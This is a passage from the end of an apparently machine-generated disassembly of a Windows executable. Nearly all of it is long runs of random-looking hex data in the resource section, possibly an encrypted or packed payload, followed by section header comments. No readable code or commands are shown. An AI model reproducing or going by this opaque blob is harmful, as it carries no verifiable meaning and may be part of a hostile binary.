		dd 0E7E2FFAh, 38C68EC9h, 4F513ED9h, 4E99327Fh, 7C9B7EAAh
		dd 62F9DE43h, 366E2702h, 30BE86C1h, 2C9C86D1h, 98E32AACh
		dd 8F26CB7Eh, 0E50EEF11h, 615FBADFh, 80F2FFE1h,	0EC07528Dh
		dd 0C18D7625h, 9BFCAA15h, 28AA738Ch, 559727EDh,	94D479B5h
		dd 317042B1h, 88C334CCh, 0A35A79D5h, 0A58495EEh, 45FB368h
		dd 1CA2F652h, 0ACF743A5h, 0D5EE936h, 0AB9FFA1Ch, 385A339Ch
		dd 7507BDDh, 0D01B994Eh, 0FEEF3A85h, 2992C76Ah,	4DFFB37Ch
		dd 0AB6BB201h, 9E6FDB11h, 9AD7D5A5h, 0EA8264BEh, 90530605h
		dd 0C97025DAh, 876A76Ch, 0BD66D0CDh, 519EA9F1h,	17DF3A5Ch
		dd 0F870DE8Dh, 3CDF8A45h, 105BB8FAh, 0E42F6AEFh, 0B8034E98h
		dd 8CD7226Dh, 60ABF641h, 0CB2C9C44h, 187A077Ch,	707ED9BDh
		dd 4B8E8615h, 0D80CF487h, 3DD08F7Bh, 491AA343h,	6A29D985h
		dd 0A76B09D0h, 0CB966DD5h, 0EAE4429h, 3C9B9345h, 471DCE76h
		dd 9443FAB8h, 0A06516DEh, 0E3EB58E4h, 0DE6F27h,	24FA984Ch
		dd 5F67F398h, 845AE3A3h, 0A8661CC0h, 0E882631Ch, 0BD96B3Dh
		dd 32C8D660h, 712BCB90h, 8B5C0C99h, 0FD7421F8h,	0F5A96571h
		dd 36CA8E24h, 4CECA37Ch, 7E3FF688h, 0E04F17A4h,	0D59A38D6h
		dd 0E0877B1Dh, 38C6974Fh, 55098511h, 502AEE84h,	0B04F01D6h
		dd 9F872EE8h, 0E1A54553h, 3BF79945h, 5036BE7Dh,	9413E6B4h
		dd 0B47A03C3h, 0D08A7D85h, 1DAF671Fh, 3EE3966Ch, 541ED468h
		dd 0F47EF9B0h, 8E673BEEh, 0CF825E14h, 70DE7C38h, 2FBBF62h
		dd 4C06C290h, 0EC52EFA4h, 8D7F33E6h, 0F8AA4E1Ah, 4DAB82Ch
		dd 51E69C78h, 575BE794h, 8B620EA0h, 0DD6F3BFDh,	0E8B94325h
		dd 60EA932Dh, 670BAF52h, 6D27ED90h, 0AE4E36D0h,	0DF8F25F4h
		dd 848E6317h, 0CD78B7Eh, 6A07AF68h, 4E2EFA88h, 957A07D4h
		dd 0DC967989h, 0CAA7709h, 38EF8761h, 4128BA44h,	8A26D8ADh
		dd 0A2780BDEh, 0D48E7181h, 7CD6F03h, 0DFDB140h,	5B67F385h
		dd 9F6DF2B4h, 0A1622FC9h, 0F7854030h, 18D66F3Fh, 1E5B948h
		dd 7B33EDF5h, 0A95F1FABh, 0DF683EF1h, 0F1B46A71h, 6C6B621h
		dd 41F1AF6Bh, 6D1AA2ACh, 854220B1h, 0F29905E2h,	88B67200h
		dd 32C28272h, 5517AF57h, 743FFBA8h, 994400D0h, 0C9870D8Dh
		dd 0EFB9460Fh, 27EC8F56h, 4701EE09h, 8F34F7BEh,	0B95D5482h
		dd 0A49B49F7h, 1BAC7C09h, 7FE49148h, 580EF833h,	916D8AA1h
		dd 0A1553AC8h, 0CFE75711h, 19FD7234h, 30CEBF49h, 7A0ADC8Dh
		dd 9F52F6B8h, 0A55856E0h, 0F8B66C01h, 1DCAE2Ch,	4EE2A673h
		dd 643EF5F1h, 81431383h, 0DD6E27CDh, 0E9BB716Dh, 35AB8624h
		dd 441EA77Bh, 7F36F7BFh, 0B56114F2h, 0E6FB23FDh, 0F1BB680Ch
		dd 34E28258h, 2C14AD61h, 7422E4B6h, 0B8762CD0h,	0DCBD3EECh
		dd 9AD761Ch, 22CB9242h,	4806CC6Ch, 8B26E9BCh, 0A97C0DF9h
		dd 0D4A536EFh, 15DA7816h, 21D5BB5Dh, 5267D791h,	9549C5A5h
		dd 946A2EC4h, 0FD80410Bh, 22B7713Eh, 25F99555h,	443ADE94h
		dd 8D5011BBh, 0C44221EEh, 0D3AF6871h, 10CE9F37h, 5BE69D7Ch
		dd 6238CB99h, 0AD5F38C1h, 0DDA93AF4h, 0EE9C690Ch, 28C4976Eh
		dd 3015A978h, 7400EEABh, 0AA7300DCh, 0DF9221E2h, 0EBA44212h
		dd 1A9F8450h, 4D03F17Dh, 9F22C1B3h, 0BE740FC5h,	0F49B7485h
		dd 1DB7612Bh, 25C1964Eh, 411EC273h, 995AC7B9h, 0C86A2CC6h
		dd 0E9B64633h, 23C27434h, 21FBA95Ch, 7E0DE794h,	8D5AF0A2h
		dd 0AE643FD5h, 0C3AB6475h, 0DC7973Bh, 48F5BB4Bh, 5D37C784h
		dd 964017A0h, 0CC514EE0h, 0E5B97701h, 5CF9922h,	5D0DBE46h
		dd 6707F987h, 0B5541CFCh, 0D98932C2h, 0D3CF7D0Bh, 2CF0AF6Ah
		dd 5903B06Ch, 6C289691h, 0A77A19DAh, 0CD985DE6h, 13A41229h
		dd 33FE885Fh, 4108BA71h, 8B2CE6ADh, 0A26E00D9h,	0A08E5BE0h
		dd 2DC6F27h, 26F6AD29h
		dd 7314B299h, 845EEDB2h, 0B06113A5h, 0FD8D5C1Ch, 3DB4139h
		dd 21C3B352h, 7133CE9Bh, 9C5D37C9h, 0D96920F8h,	0E4BE6105h
		dd 0AC19506h, 5DF7AD7Ch, 6D23F189h, 0A92B13B5h,	0C69A3EFBh
		dd 0C7A77B07h, 1DC9974Dh, 44158F11h, 6121E880h,	0BD5321CDh
		dd 0C08517E3h, 0EE821620h, 3AED8F41h, 4D21CA6Ch, 9501F6BCh
		dd 911B03DDh, 0F4AE6CC1h, 56F13D10h, 4CDBAE69h,	630CD353h
		dd 914CE5B9h, 0C86A3BE2h, 0D380572Fh, 3BD56321h, 3CCAA340h
		dd 7D31AEB8h, 8942D3AAh, 0A15D2FD3h, 0D1BA5F19h, 3AB3BF31h
		dd 59D4B578h, 7C3AF085h, 9C6A1FB0h, 51804ED8h, 0DD1F0968h
		dd 60ABF629h, 103347FDh, 6253F4EAh, 8F7723B8h, 7C7043FBh
		dd 0D41B9135h, 9E3846Dh, 0B988915Fh, 5BBCB4h, 2B13AE36h
		dd 0B8D9631Ch, 7403915Dh, 0D516B1F2h, 247FAF60h, 921371EAh
		dd 331908ADh, 0B0C13314h, 7F8F55h, 43FB8E56h, 9767B2A3h
		dd 7B3BEC05h, 0AC4F3069h, 98F32E79h, 6E50027h, 1E80BE21h
		dd 1435AAF5h, 17632D98h, 0AC2D1B08h, 6F827971h,	748677D0h
		dd 4C7C4B19h, 30DA29A6h, 32B66D4h, 0B46AC799h, 8BD30E79h
		dd 0A3F4A5ECh, 9FE4DC3h, 894F8ACFh, 0D83B9136h,	53AFAA8Dh
		dd 540E99Eh, 548FC008h,	313F3184h, 0BBAF92DDh, 5BE4994Eh
		dd 0B4C57B00h, 0C038B59h, 15186F26h, 0C86BB618h, 0BC075E7h
		dd 0B4C9922h, 9CE7DA28h, 0F1E60651h, 5495D4C8h,	95AA9DF9h
		dd 0FC17EA48h, 915F07A1h, 0C58E7A24h, 41726BB6h, 3800D20Dh
		dd 9DCE59D5h, 0B92F6AECh, 0ED034A5Bh, 8CD72285h, 8D2AAB41h
		dd 346FD028h, 9DDE6183h, 0DC3768B5h, 903614C1h,	84E51A41h
		dd 3EAF2ABAh, 363947CAh, 208696F1h, 0CE4FEF72h,	0A8D73E99h
		dd 0BF9A1277h, 51F1E75Bh, 579089FAh, 7D5671DDh,	0A4E7166Dh
		dd 0A0EB368Ah, 77E4DADEh, 0FD1EE279h, 1C77A891h, 0F1373C5Ah
		dd 4E845AA5h, 98E32F71h, 0A79CFA4Eh, 0B3405D41h, 112BCB53h
		dd 3C69C8Eh, 0B3C0D15Fh, 0C30FAD26h, 30FF36CEh,	6AD28E73h
		dd 99A85D87h, 0E03B5C94h, 3FF38E16h, 98FAD7FCh,	0DF70D93Dh
		dd 37BCC1FBh, 4A79A8Fh,	1B203930h, 8658D7E4h, 4CE1671h
		dd 94ACE23Dh, 0A1690E4Bh, 0EC6D3D48h, 5DF991B1h, 5A455BC7h
		dd 0BB227B90h, 4C970A78h, 0A136B601h, 0E4257438h, 7B8ED5A9h
		dd 1FE72257h, 70B3222Dh, 44365E2Ah, 0F4E2AEF9h,	0EC3780C5h
		dd 0C10F3EF5h, 1202A75h, 68A3D7A0h, 0B80A2E96h,	105AA2D5h
		dd 0E4452AC5h, 0B8034A71h, 0D885746Dh, 0F554A141h, 346FE3F0h
		dd 9FDE57DAh, 0DC2773B9h, 0B29117C0h, 0ECCE7034h, 18A3EE39h
		dd 9DE23D5Fh, 964B86C8h, 8F6B9C30h, 0AC9B6AD9h,	2BC7125Ch
		dd 70BF52CEh, 0DB6FBA07h, 0E8691F4Ch, 0C923BADh, 0B40820F5h
		dd 1E6B8105h, 1FC28C29h, 2DF24DABh, 0A93B96FBh,	147A9A20h
		dd 1576D12Fh, 0E1B71264h, 17D99276h, 9907EE9Fh,	0E8327A5Eh
		dd 7C34F99Dh, 6382361Bh, 34FFAAEEh, 68D39E49h, 0B5C25DBFh
		dd 612B66E8h, 0B4FD4251h, 0ACA7E169h, 0DD320D35h, 637BD63Bh
		dd 2ECE0F1Ah, 1A7E6EA9h, 92774289h, 0C6CA636Bh,	41A767BEh
		dd 3190BE19h, 0EC470750h, 11866A1h, 203DC5D3h, 874B0199h
		dd 4397E22Dh, 206B4685h, 0CE010AD5h, 48554EDCh,	18E83243h
		dd 70BB06B0h, 31AFE4A5h, 26E2E808h, 0AB79CB9Dh,	0F8074D4h
		dd 0DBDE6CB3h, 2E23062h, 6FD1831Dh, 3A22330Eh, 0DF767AD5h
		dd 7864158h, 65D7226Dh,	60ABF6F0h, 662FF494h, 8D5CC8A0h
		dd 0DC277218h, 1CF38012h, 0C01759h, 58A3EEA0h, 0DF02E231h
		dd 0F71AA4Dh, 0D41FE630h, 88FE9389h, 41E7327Dh,	24FE8110h
		dd 18C3C570h, 793FFBF9h, 0A4379DD3h, 0D19E42F5h, 4BC74D4h
		dd 3DBCF113h, 0E3207495h, 4A0A89D1h, 0C40F7DB5h, 67B1CC8Eh
		dd 7C9D27D8h, 104BE521h, 0FC0FFAA5h, 0E8337EC0h, 0D2703DD9h
		dd 0F4BA491Dh, 0ED3A0545h, 0BD83DE33h, 3F61D62Dh, 53AEFF08h
		dd 0E5FF5ABFh, 88D01E01h, 0AF6A3B9h, 0BDEE3941h, 894F8ACFh
		dd 0C839962Ch, 65C4128Dh, 0D29B4735h, 0C160BB64h, 286397C8h
		dd 363965Ah, 0C032EB24h, 242CC285h, 68D625D4h, 8F6EE32Dh
		dd 244FEA8Ah, 0F43F8A3Dh, 259203A9h, 9CF72F78h,	5D40BBDAh
		dd 0F104DA35h, 187380FAh, 61BC79CEh, 0C01B7B5Eh, 11548F86h
		dd 68A3D3B2h, 11704796h, 9558A6E1h, 0E43F572Ah,	306B4C10h
		dd 73D7227Eh, 7081D3D4h, 68B62115h, 6125FBADh, 8C7B17DEh
		dd 0D9883FF9h, 0C9A37B06h, 2ACC835Ch, 0FE44C274h, 0F619596Ah
		dd 359C386Ch, 0ABB3548Ah, 169545A4h, 132E6B29h,	9D6FAA18h
		dd 0F8438ECEh, 325A6620h, 0C614C97Eh, 39BB87FEh, 4893DE29h
		dd 5BEA199Bh, 14092DD5h, 26A43C09h, 7376A382h, 38B71260h
		dd 0BFD9D04Bh, 475FB60h, 0CC47F5C9h, 0A4C3D195h, 15D4E6F4h
		dd 64AFFBE0h, 18EBCE73h, 5A57A2ECh, 75D47DABh, 0B4EF60CCh
		dd 3DF40E2h, 0C12EE273h, 306BEBFEh, 29BC176Ch, 3BA26EA9h
		dd 0A308B28Dh, 80A14530h, 0E160EC5Fh, 286393E2h, 0D6460722h
		dd 2F4B66A1h, 0B4C2D130h, 0F556F159h, 1497F204h, 2FF87684h
		dd 0F43EDE51h, 0F39238A9h, 90936830h, 592EF902h, 0AD8FCA0Fh
		dd 1863AFB8h, 0ECFF3C40h, 770456A1h, 0E052343Bh, 6CDBE178h
		dd 6B87D21Ch, 39BA330Eh, 0B3797AD5h, 91AADB66h,	0CF5C227Dh
		dd 0EB68F57Dh, 0E77CB245h, 8373EC62h, 0E8AA6AF7h, 0B35617A2h
		dd 85B79BA6h, 2AC6BD5Ch, 0DE95C779h, 29E67DB8h,	0A6944EB9h
		dd 5BF067ADh, 73DB40D6h, 53D5E286h, 0A65B31D6h,	0B6C87DDAh
		dd 3BA2EBA5h, 2BEB26ACh, 9B0A3163h, 3A93CE04h, 0F3D2997Eh
		dd 0CB3B96FCh, 0D422A910h, 0E9602179h, 5F48FDB2h, 0BB3E5FE1h
		dd 9D5FBAD8h, 0F81E8144h, 0D657029Dh, 91B17672h, 64AFFA2Dh
		dd 0BD7C9999h, 0C47B7D9h, 0C99AE33Eh, 39004A85h, 88C30B5Dh
		dd 53580ABEh, 0CF84FD95h, 0EFCA131Ah, 0B2237E94h, 0FAF7288Dh
		dd 9D5EE931h, 0DF9FFA1Fh, 385E418Ch, 0FEA753DDh, 0D07136E1h
		dd 8D16AF7Ah, 0FD4A0E49h, 4C87CC2Eh, 2001628Ah,	0A40D7587h
		dd 0E5F8EB56h, 918326Dh, 70AB2C44h, 69645FAEh, 1CEAAEE9h
		dd 61A27DE9h, 4B0B4688h, 21541626h, 68A3D04Ah, 89D8696h
		dd 8570587Ah, 0E43F572Ah, 95FCC312h, 0A77A227Dh, 9A495D83h
		dd 28834F98h, 59029EF9h, 8D7622EEh, 993AD36Eh, 7B9F1A75h
		dd 488A63ACh, 5F52010Dh, 6571BCDBh, 0B87D0BDBh,	0E8C95AECh
		dd 10A27A2Eh, 7EA9D55Dh, 803D661h, 0AB43BFF4h, 894331F4h
		dd 0D5A86ACCh, 1ADA7827h, 26FC9D5Dh, 7008C089h,	0AC4FE382h
		dd 0B27D3FF6h, 0EB864D10h, 0DDF5111h, 1EFB353h,	673AC996h
		dd 896322BAh, 0D96A33EFh, 0E3A94305h, 16C6BC19h, 54E2B97Ch
		dd 6038F281h, 0BC5215A8h, 0DA9E3EC6h, 0ECA17F0Dh, 3AC8806Dh
		dd 6C1EAA78h, 6C3BEFA4h, 0A24A1CD6h, 0DCB626E8h, 0E3A27A11h
		dd 3BF69E54h, 642FCD67h, 0FC33E1B4h, 845D29E2h,	0E1BD7BD2h
		dd 1BAA4305h, 23E48D5Fh, 7737C267h, 9B5BE4BCh, 8B4F2DDEh
		dd 0F9954008h, 15ED723Fh, 2BE6A957h, 6026F297h,	9E58EEBDh
		dd 940B24C4h, 0F1B85814h, 1BDCB63Dh, 3C85D269h,	105BF6F1h
		dd 965F7AC5h, 0D56A36F6h, 0E7A34C43h, 10C79833h, 5A16E474h
		dd 4653F18Fh, 0FC6C31F4h, 0C4972FFDh, 0F7A77209h, 1DF0BB33h
		dd 6616E25Fh, 2005DFAEh, 0A6761C93h, 0A2C04BFDh, 7CC7FA08h
		dd 0D1C6E631h, 344FD4E8h, 0D3C648D9h, 0CC1772B8h, 8906A37Eh
		dd 9C7E0A45h, 22AFAA36h
		dd 0BDD239E3h, 0A93B96F8h, 0B1216609h, 0A6624853h, 4FC21FB2h
		dd 6A226BACh, 62D4AAE5h, 8E9629CBh, 6982DF38h, 1FDB3659h
		dd 748701C0h, 7E0A3419h, 0F2192E17h, 22AC73Ah, 39A3A15Ah
		dd 98C67BECh, 5CCDA23Dh, 0A584C87Bh, 45FB0E0h, 0D007123Ah
		dd 44B33789h, 80CB1669h, 7ADCAC66h, 283FF24Dh, 0D59A0722h
		dd 101066A1h, 0CE7C28F1h, 0ED3C5D5Bh, 4C87CBB4h, 0C8F866FEh
		dd 0BC073A6h, 0C8135541h, 0DFA1617Dh, 5EE8490Eh, 44C39661h
		dd 31BE3B06h, 0B4DF82DDh, 28F4A958h, 94DF2A7Eh,	3AF6AD1Ch
		dd 78A9E02Eh, 0EF5BEABDh, 0F4068750h, 0B809A699h, 0FFA0226Dh
		dd 0EC28431h, 343EAC61h, 91C661B9h, 55276294h, 0A0D2E314h
		dd 9FE1565h, 48BB01B4h,	83F24B0Dh, 514B86CBh, 0FDE2FF4Ah
		dd 0C0603E99h, 7CC71259h, 486753BCh, 0A936BA15h, 0E8691B64h
		dd 3FD58AADh, 678DC97Eh, 649F26D0h, 0CBC3DE29h,	0C479C58h
		dd 65B686D1h, 0C41F4549h, 99897A29h, 4E50227h, 0C08BD623h
		dd 3EC63F0Ah, 28B67ED9h, 312527C7h, 80FB39FCh, 62C5A845h
		dd 18AF7B94h, 5A03A2FDh, 0B27A2691h, 9E62DF6Ah,	778B1E79h
		dd 4C8D67A8h, 86FE0011h, 44F8AC9h, 27D05B51h, 0F57ABD72h
		dd 47CB0673h, 448AE3B0h, 7727E809h, 0F677AEEh, 55DC994Eh
		dd 0A4FF2F8Ch, 4C9C5A0Fh, 0B364F3C5h, 29EE71FEh, 0A23F9AC0h
		dd 202701D1h, 6318C17Fh, 65B28396h, 21D9DA35h, 0D150FA8Fh
		dd 0C2300740h, 915A56B1h, 0C58F7B24h, 0FD4CAF18h, 3C97FBE8h
		dd 39B6330Eh, 0CEE7AD5h, 50773B86h, 8CD72261h, 37E7BE12h
		dd 1A369A54h, 81FD2ADh,	0F5DAE742h, 0BC134681h,	0D7CF1A65h
		dd 2CC6BD71h, 591BA35Bh, 504BD784h, 0FD86FF4Ah,	25603E99h
		dd 6CEDA5E8h, 50538E31h, 4E39BA05h, 21D671D9h, 41177284h
		dd 0B0F46C14h, 0B028755h, 1E93CE02h, 8998E5AFh,	0F02BAF74h
		dd 49039E26h, 88FC59ECh, 6E0524Dh, 28D98020h, 945FAAF7h
		dd 47DBAD36h, 3FF8AD67h, 80CFC9CCh, 6FDBFA45h, 38904671h
		dd 29C25DEDh, 82B66EBh,	0B4FF4A99h, 0CB9C4D3Eh,	7295C176h
		dd 30378A55h, 2DB20F1Ah, 0B0B06EA9h, 0ACF7428Ah, 9898A3ECh
		dd 0D9C6EA25h, 3859DBB4h, 0E157ADDh, 0DCF3994Eh, 0F3EF3A85h
		dd 368A4010h, 8B9B668h,	0DF6BFA4Dh, 0E4167740h,	0C7D3DBA9h
		dd 9CE507F9h, 75D39551h, 0C98FDA25h, 87B3F4Ch, 51BADBCDh
		dd 0C01B7C20h, 6B2D319Dh, 0ED0E7DB6h, 3C87C237h, 124B22FEh
		dd 8AE7AC5h, 0B8034F09h, 8DD64A39h, 0F554F641h,	346FE070h
		dd 9C35A68h, 577772BDh,	0E2FB2C45h, 0AE4A8F9Ah,	9826EE29h
		dd 447AB754h, 4B8569h, 0FE3AFF4Ah, 4A183E99h, 5CE9AFDEh
		dd 259BE621h, 16EA372Ch, 0A8439EF9h, 0E666F752h, 606E3691h
		dd 75368E5Ah, 818DE29h,	0E36739F1h, 0DEBE09E1h,	20F4A85h
		dd 88CF98FCh, 6CDD034Dh, 42E1D74Bh, 3E223F0Ah, 10B07ED9h
		dd 0DC835D62h, 3DB2670h, 44856FC8h, 28E9CE09h, 99A8F1BFh
		dd 0E03B5CACh, 31F08A10h, 88D31F29h, 7CEB4FB0h,	38CAC601h
		dd 0FBB8990Dh, 0D8B70646h, 87A9428Dh, 0A4FF9F87h, 0A50A1561h
		dd 0A573AE20h, 0EC67C860h, 381AD7B1h, 5B10CC61h, 58849BD4h
		dd 4CFDE23Dh, 206BA269h, 0B6CD8D5h, 0D839273Ch,	0B8A3BF7Dh
		dd 772E8B45h, 148FCA0Bh, 936918F6h, 2D23A689h, 8A095E41h
		dd 96953874h, 63B0B45Bh, 0BC8FF659h, 0F09AA910h, 0A0242BCDh
		dd 8AFC5EBDh, 3B6AAF3Dh, 88ABE66Bh, 347FCA09h, 7065B0CCh
		dd 0F2075C9Dh, 95DE7CB1h, 0FCF73440h, 7D83961Ch, 633DC87Eh
		dd 6BD8A8h, 718A95E2h, 29F32EA0h, 7CC7BE99h, 9B8C31h, 0B190E952h
		dd 0F853A4A0h, 0D8F8EF26h, 0A0813691h, 0BDD411B6h, 4D7B8F24h
		dd 3A67B2FDh, 0F031E2F4h, 619AA5F2h, 1BE33E50h,	87E70E89h
		dd 4083BE2Ah, 0A9D2AAF5h, 0E8235EA9h, 29F801CAh, 90CB0C08h
		dd 30D13AC0h, 12347B94h, 0A9D4A2FDh, 0E03B622Eh, 272C795h
		dd 0A3D30E45h, 0DA798F3h, 0A5849547h, 45FB090h,	0A623963Ah
		dd 527CD3A2h, 0AA7CA3ECh, 592FEA25h, 380610FBh,	0AAB7ABDh
		dd 0A27A994Eh, 29E6D992h, 92280F2Eh, 82BC2DA6h,	0ADC0B8Ch
		dd 50CC8AC5h, 71F8A92Eh, 0F572CD2Eh, 0F0BB167Bh, 549AF198h
		dd 3217AFF9h, 0EC42B2A5h, 0E59EA9A1h, 14DF3A5Fh, 789F48F4h
		dd 2DF3D21Dh, 30752336h, 0E42F7AD5h, 3DC54E99h,	8CC70EDBh
		dd 9EA31F41h, 0F62235EAh, 0BDDE9EEDh, 0DC375E0Ah, 7D6EB9C7h
		dd 7CF0A4Ch, 0DCAC11C1h, 2C77C2B6h, 2DF01368h, 0D4756AA5h
		dd 0B166C1DFh, 0F9C70277h, 0F41FE9F1h, 0F6FBA05h, 9213DE19h
		dd 0CD7D32AEh, 0A0EB36E9h, 0E1405C95h, 4883F798h, 13984A7Eh
		dd 0F0388555h, 7B8AD3A5h, 15E33E54h, 7C9AC1C0h,	8B1E5B21h
		dd 455FBAD8h, 0B833149Bh, 95D2C762h, 68582661h,	0B52BF5BAh
		dd 5283CE1Bh, 0B3E25DEDh, 1F2B66ECh, 0A4D69B00h, 772B9D69h
		dd 5E1D7632h, 0B5F2C611h, 45FB736h, 1B20A78Ah, 0C6A612DCh
		dd 35344765h, 548FC78Ah, 1C62BF6h, 3CC292CDh, 0D28DE2BEh
		dd 6DDC3A85h, 55148BD0h, 1DC6E23Dh, 2074DE50h, 0B6F8ADAh
		dd 0D8395F3Ch, 9327B77Dh, 70B949D5h, 9F0A5325h,	0DB63BED4h
		dd 540FC946h, 0C00B08ABh, 55DCF846h, 89440FBEh,	11605794h
		dd 5BD0A6E1h, 0FDA3C2F9h, 6A304E99h, 7D20E36Eh,	0E52217B6h
		dd 346FE7CAh, 43E4912Ah, 0EAC48BBBh, 0BFE3151Ch, 87DB59D2h
		dd 99C8A7E9h, 0ADA7C125h, 693CC9DBh, 0CA6B93DBh, 0A489BDC0h
		dd 0F718605Ch, 1210DA7Ah, 342DB911h, 70BCA54h, 0D34BB5Ah
		dd 8D38B3BAh, 2D7C0A45h, 44B79AA2h, 1CDF3A74h, 300886D1h
		dd 2FC0D166h, 2F5EA372h, 90B71261h, 89B809AAh, 663E9659h
		dd 9F4942CFh, 16277E9Fh, 7CAF7A4Dh, 0B9DBD479h,	0D0F6CE25h
		dd 0DDC6A0Eh, 0A57333FCh, 89F43E95h, 88815D3Ah,	0A3EE7732h
		dd 33F039EEh, 4A06CDD8h, 0E4A761FAh, 9108BD72h,	0CE9E5536h
		dd 0ABAE6E3Ah, 7F4E41F6h, 0F375A19Eh, 2FE44035h, 0F7BF077Ah
		dd 0FCCC410Dh, 0B3681D36h, 63836D32h, 0FBC0752Bh, 37EC502Dh
		dd 74350182h, 70BB0647h, 0BB70B4CDh, 18634606h,	6D6A82CDh
		dd 0D02C4C4Ch, 95C7C375h, 97D7FE49h, 0E732592Fh, 745BB6DCh
		dd 6549584Ch, 0B75903A7h, 8CD623E8h, 5CF57D41h,	0B5191416h
		dd 716CED2h, 0DC278338h, 0A6B8B191h, 84CF3A65h,	58476B36h
		dd 6F81C20Dh, 844494BDh, 0D41F6A6Fh, 88D34008h,	73E7327Dh
		dd 509B2BB5h, 0DAA05205h, 7A4C7126h, 0CC17626Fh, 2BE3740Ah
		dd 0B5941A1Fh, 88A0DA5Ah, 0D464B716h, 792BCC58h, 0D422B920h
		dd 669DC679h, 0C45FFDB2h, 0CB8BD621h, 4727568h,	0BAE7DC9h
		dd 540742B0h, 6F24DBE7h, 64277E4Ah, 8D08CE19h, 0C478F36h
		dd 0E317284Ah, 4A80A24Bh, 0FEA1E196h, 3C83B8BCh, 0BB9BC611h
		dd 7E4CCC1Bh, 0D896E3ADh, 0AFF7529Dh, 0E372061Bh, 39FEA33h
		dd 29C21BFAh, 58B4903Eh, 0DF4938EEh, 2362A8B4h,	78C30E39h
		dd 0A42DB2A5h, 0DF945E08h, 0F875018Fh, 450314AAh, 0DFCC373Ch
		dd 31FC8F79h, 64AF9CE2h, 91438ED9h, 0A6BCAA86h,	1F8EDDB1h
		dd 0ADDF3A58h, 6BC0F603h, 3D8F9894h, 73D8B6B3h,	61A47A9Dh
		dd 0B813637Eh, 8DDF606Ch, 0B298A602h, 505D4171h, 8B0B9C66h
		dd 0CC0ACD00h, 34F44691h, 7B30E7A6h, 75785BC6h,	0B988C21Dh
		dd 5BBCC8h, 0F9C8DF4Ah,	3D0C3E99h, 7CD73BD0h, 7D586BBCh
		dd 0B1E2BA15h, 0F853A312h, 0CC7D30FCh, 8D54837Eh, 0E1400A45h
		dd 4883F408h
		dd 31D80702h, 65C486C1h, 0C41F7328h, 0B4549BF4h, 0D948025Dh
		dd 409BFB9Ah, 0DCA55A3h, 6B336EE3h, 0AC2AED38h,	78182671h
		dd 64AFFA45h, 0B982A444h, 1C7F1600h, 0EFDB2EC1h, 0A1CBCF54h
		dd 48561E79h, 0A36F71FEh, 0B5BAC9E1h, 45F8FD1h,	0D833537Ah
		dd 0B08242A7h, 0A4B79707h, 21EE8639h, 0EC9BDE1Ah, 89B86D22h
		dd 2DB88EB4h, 7607C57Ah, 193CF1A6h, 34BA1D03h, 98798257h
		dd 0F43F8AF0h, 37B6B6C9h, 0A592CD82h, 409F42DAh, 68386FA8h
		dd 48E8AEE9h, 0D6B6E4C5h, 0E57854A7h, 94DF4223h, 0AC38FEB6h
		dd 6CD5D277h, 3A3A330Eh, 20AC7AD5h, 0E43DCF91h,	0F98B1D52h
		dd 646D7542h, 0CB829AFDh, 0F72C7616h, 1F468D42h, 0B0FB6929h
		dd 84DFF265h, 7861EE39h, 2C477A0Dh, 3A396E1h, 161F6AB5h
		dd 0FC7E3EADh, 520A1E79h, 2C9B1EB2h, 2487DA1Ch,	73438ED9h
		dd 912746F9h, 4D6A2C0Ah, 74AF2322h, 0B77C3AC1h,	18A5D302h
		dd 0D1h, 119Ch dup(0)
_rsrc		ends

; Section 3. (virtual address 00020000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0001F200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 420000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start